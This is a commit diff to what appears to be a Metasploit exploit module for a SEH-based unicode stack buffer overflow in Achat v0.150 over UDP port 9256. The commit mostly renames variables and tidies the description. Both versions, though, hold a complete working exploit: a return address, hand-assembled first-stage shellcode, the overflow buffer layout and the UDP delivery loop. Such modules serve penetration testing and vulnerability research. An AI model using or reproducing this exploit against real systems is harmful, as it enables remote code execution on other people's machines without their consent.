@@ -15,17 +15,16 @@ def initialize(info = {})
15
15
super ( update_info ( info ,
16
16
'Name' => 'Achat v0.150 beta7 Buffer Overflow' ,
17
17
'Description' => %q{
18
- This module exploits a SEH based unicode stack buffer overflow in Achat v0.150,
19
- by sending a crafted message to the default harcoded port 9256. The message
20
- overflows the stack and overwrites the SEH handler. The exploit is reliable, but
21
- depends of timing. It has two distinct threads that are overflowing the stack in
22
- the same time. Tested on Windows XP SP3 and Windows 7.
23
- The overflow was found by Peter Kasza.
18
+ This module exploits an unicode SEH based stack buffer overflow in Achat v0.150. By
19
+ sending a crafted message to the default port 9256 it's possible to overwrites the
20
+ SEH handler. Even when the exploit is reliable it depends of timing since there are
21
+ two threads overflowing the stack in the same time. This module has been tested on
22
+ Windows XP SP3 and Windows 7.
24
23
} ,
25
24
'Author' =>
26
25
[
27
- 'Balazs Bucsay <balazs.bucsay[-at-]rycon[-dot-] hu>', # Exploit, Metasploit module
28
- 'Peter Kasza <peter.kasza[-at-]itinsight[-dot-] hu>' # Vulnerability discovery
26
+ 'Peter Kasza <peter.kasza[at]itinsight. hu>', # Vulnerability discovery
27
+ 'Balazs Bucsay <balazs.bucsay[at]rycon. hu>' # Exploit, Metasploit module
29
28
] ,
30
29
'License' => MSF_LICENSE ,
31
30
'References' =>
@@ -45,24 +44,23 @@ def initialize(info = {})
45
44
'EncoderType' => Msf ::Encoder ::Type ::AlphanumUnicodeMixed ,
46
45
'EncoderOptions' =>
47
46
{
48
- 'BufferRegister' => 'EAX' ,
47
+ 'BufferRegister' => 'EAX'
49
48
}
50
-
51
49
} ,
52
50
'Platform' => 'win' ,
53
51
'Targets' =>
54
52
[
55
- # Tested OK Windows XP SP3, Windows 7
56
- # Not working on Windows Server 2003
57
- [ 'Achat beta v0.150 / Windows XP SP3 / Windows 7 SP1' , { 'Ret' => "\x2A \x46 " } ] , # AChat.exe
53
+ # Tested OK Windows XP SP3, Windows 7
54
+ # Not working on Windows Server 2003
55
+ [ 'Achat beta v0.150 / Windows XP SP3 / Windows 7 SP1' , { 'Ret' => "\x2A \x46 " } ] #ppr from AChat.exe
58
56
] ,
59
57
'Privileged' => false ,
60
58
'DefaultTarget' => 0 ,
61
59
'DisclosureDate' => 'Dec 18 2014' ) )
62
60
63
61
register_options (
64
62
[
65
- Opt ::RPORT ( 9256 ) ,
63
+ Opt ::RPORT ( 9256 )
66
64
] , self . class )
67
65
end
68
66
@@ -85,20 +83,20 @@ def exploit
85
83
# 0043 00 ADD BYTE PTR DS:[EBX],AL # padding
86
84
# 59 POP ECX # padding
87
85
# 0039 ADD BYTE PTR DS:[ECX],BH # padding
88
- firststage = "\x55 \x2A \x55 \x6E \x58 \x6E \x05 \x14 \x11 \x6E \x2D \x13 \x11 \x6E \x50 \x6E \x58 \x43 \x59 \x39 "
86
+ first_stage = "\x55 \x2A \x55 \x6E \x58 \x6E \x05 \x14 \x11 \x6E \x2D \x13 \x11 \x6E \x50 \x6E \x58 \x43 \x59 \x39 "
89
87
90
- sploit = " A0000000002#Main" + "\x00 " + "Z" * 114688 + "\x00 " + "A" * 10 + "\x00 "
91
- sploit << " A0000000002#Main" + "\x00 " + "A" * 57288 + " AAAAASI" * 50 + "A" * ( 3750 - 46 )
92
- sploit << "\x62 " + "A" * 45 # 0x62 will be used to calculate the right offset
88
+ sploit = ' A0000000002#Main' + "\x00 " + 'Z' * 114688 + "\x00 " + "A" * 10 + "\x00 "
89
+ sploit << ' A0000000002#Main' + "\x00 " + 'A' * 57288 + ' AAAAASI' * 50 + 'A' * ( 3750 - 46 )
90
+ sploit << "\x62 " + 'A' * 45 # 0x62 will be used to calculate the right offset
93
91
sploit << "\x61 \x40 " # POPAD + INC EAX
94
92
95
93
sploit << target . ret # AChat.exe p/p/r address
96
94
97
95
# adjusting the first thread's unicode payload, tricky asm-fu
98
- # the first seh exception jumps here, firststage variable will be executed
96
+ # the first seh exception jumps here, first_stage variable will be executed
99
97
# by the second seh exception as well. It needs to be in sync with the second
100
98
# thread, so that is why we adjust eax/ebp to have a close pointer to the
101
- # payload, then firststage variable will take the rest of the job.
99
+ # payload, then first_stage variable will take the rest of the job.
102
100
# 0043 00 ADD BYTE PTR DS:[EBX],AL # padding
103
101
# 55 PUSH EBP # ebp with close pointer to payload
104
102
# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding
@@ -113,22 +111,20 @@ def exploit
113
111
# 50 PUSH EAX # saving eax
114
112
# 0043 00 ADD BYTE PTR DS:[EBX],AL # padding
115
113
# 5D POP EBP # mov ebp, eax
116
- sploit << "\x43 \x55 \x6E \x58 \x6E \x2A \x2A \x05 \x14 \x11 \x43 \x2d \x13 \x11 \x43 \x50 \x43 \x5D " + "C" * 9 + "\x60 \x43 "
114
+ sploit << "\x43 \x55 \x6E \x58 \x6E \x2A \x2A \x05 \x14 \x11 \x43 \x2d \x13 \x11 \x43 \x50 \x43 \x5D " + 'C' * 9 + "\x60 \x43 "
117
115
sploit << "\x61 \x43 " + target . ret # second nseh entry, for the second thread
118
- sploit << "\x2A " + firststage + "C" *( 157 -firststage . length -31 -3 ) # put address of the payload to EAX
119
- sploit << payload . encoded + "A" *( 1152 -payload . encoded . length ) # placing the payload
120
- sploit << "\x00 " + "A" *10 + "\x00 "
121
-
116
+ sploit << "\x2A " + first_stage + 'C' * ( 157 - first_stage . length - 31 -3 ) # put address of the payload to EAX
117
+ sploit << payload . encoded + 'A' * ( 1152 - payload . encoded . length ) # placing the payload
118
+ sploit << "\x00 " + 'A' * 10 + "\x00 "
122
119
123
120
i = 0
124
121
while i < sploit . length do
125
122
if i > 172000
126
123
Rex ::sleep ( 1.0 )
127
124
end
128
- udp_sock . put ( sploit [ i ..i + 8192 - 1 ] )
129
- i += 8192
125
+ sent = udp_sock . put ( sploit [ i ..i + 8192 - 1 ] )
126
+ i += sent
130
127
end
131
-
132
128
disconnect_udp
133
129
end
134
130
0 commit comments